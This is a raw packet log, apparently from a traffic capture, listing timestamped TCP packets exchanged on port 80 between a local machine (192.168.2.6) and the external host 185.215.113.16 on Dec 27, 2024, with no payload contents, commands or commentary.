Dec 27, 2024 08:52:22.220138073 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.221051931 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.221118927 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.221168041 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.222057104 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.222084045 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.222120047 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.222172022 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.222982883 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.223089933 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.223149061 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.223977089 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.224064112 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.224121094 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.224975109 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.225033045 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.225075006 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.225123882 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.225975990 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.226037025 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.226077080 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.226118088 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.226965904 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.227011919 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.227044106 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.227097988 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.227916002 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.228017092 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.228025913 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.228108883 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.228924990 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.228979111 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.229015112 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.229233027 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.229893923 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.230027914 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.230076075 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.230923891 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.230972052 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.231024027 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.231064081 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.231899023 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.231949091 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.232023001 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.232070923 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.232892036 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.232983112 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.232985973 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.233026028 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.233831882 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.233896971 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.374088049 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.374129057 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.374262094 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.374455929 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.374511003 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.374577045 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.374650002 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.375441074 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.375493050 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.375550032 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.375587940 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.376414061 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.376466990 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.376502037 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.376555920 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.377428055 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.377480984 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.377521038 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.377569914 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.378439903 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.378492117 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.378515005 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.378560066 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.379400015 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.379443884 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.379456997 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.379487038 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.380377054 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.380439997 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.380472898 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.380520105 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.381386042 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.381445885 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.381484032 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.381531954 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.382359982 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.382415056 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.382496119 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.382554054 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.383358955 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.383413076 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.383441925 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.383491993 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.384330988 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.384391069 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.384476900 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.384526968 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.385361910 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.385416985 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.385435104 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.385500908 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.386343956 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.386401892 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.386446953 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.386495113 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.387346029 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.387406111 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.387428045 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.387478113 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.388308048 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.388366938 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.388403893 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.388451099 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.389336109 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.389396906 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.389400959 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.389451027 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.390300035 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.390355110 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.390388012 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.390434027 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.391275883 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.391331911 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.391396046 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.391443968 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.392257929 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.392308950 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.392349005 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.392395973 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.393266916 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.393321991 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.393374920 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.393420935 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.394287109 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.394341946 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.394365072 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.394408941 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.395239115 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.395297050 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.395344973 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.395391941 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.396235943 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.396307945 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.396338940 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.396382093 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.397217989 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.397267103 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.397336960 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.397383928 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.398216963 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.398269892 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.398303986 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.398349047 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.399188995 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.399240017 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.399281979 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.399332047 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.400197983 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.400249958 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.400286913 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.400333881 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.401221037 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.401281118 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.401309967 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.401359081 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.402184010 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.402240992 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.402273893 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.402322054 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.403222084 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.403278112 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.403336048 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.403383970 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.404189110 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.404243946 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.404282093 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.404330015 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.405155897 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.405205965 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.405261993 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.405308962 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.406169891 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.406224012 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.406227112 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.406269073 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.407151937 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.407208920 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.407237053 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.407299042 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.408128977 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.408157110 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.408181906 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.408205032 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.409121037 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.409179926 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.409235001 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.409279108 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.410119057 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.410175085 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.410207033 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.410253048 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.411103964 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.411156893 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.411201954 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.411247969 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.412117958 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.412188053 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.412231922 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.412276983 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.413099051 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.413196087 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.413280964 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.414119005 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.414164066 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.414190054 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.414217949 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.415091038 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.415146112 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.415158033 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.415199041 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.416080952 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.416127920 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.416176081 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.416217089 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.417084932 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.417133093 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.417175055 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.417216063 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.418042898 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.418093920 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.418138981 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.418198109 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.419028044 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.419083118 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.419131041 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.419174910 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.420033932 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.420082092 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.420141935 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.420185089 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.421008110 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.421055079 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.421108007 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.421154022 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.421988964 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.422036886 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.422070026 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.422111034 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.422979116 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.423026085 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.423074961 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.423115969 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.423981905 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.424027920 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.424076080 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.424118042 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.424989939 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.425036907 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.425076008 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.425120115 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.425945997 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.425995111 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.566406012 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.566440105 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.566521883 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.566565990 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.566653967 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.566696882 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.566781044 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.566827059 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.567657948 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.567709923 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.567768097 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.567807913 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.568588972 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.568651915 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.568686962 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.568722963 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.569591999 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.569633007 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.569741011 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.569780111 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.570585012 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.570636988 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.570702076 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.570749044 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.571576118 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.571620941 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.571767092 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.571808100 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.572565079 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.572633982 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.572669029 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.572709084 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.573553085 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.573606968 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.573653936 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.573698997 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.574561119 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.574613094 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.574677944 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.574717999 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.575551033 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.575599909 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.575659037 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.575696945 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.576531887 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.576601982 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.576626062 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.576673031 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.577522039 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.577567101 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.577627897 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.577666998 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.578526020 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.578583002 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.578619003 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.578661919 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.579524040 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.579569101 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.579591990 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.579627991 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.580486059 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.580540895 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.580606937 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.580646038 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.581520081 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.581562042 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.581636906 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.581681967 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.582492113 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.582534075 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.582603931 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.582642078 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.583491087 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.583533049 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.583621025 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.583659887 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.584490061 CET	80	49970	185.215.113.16	192.168.2.6
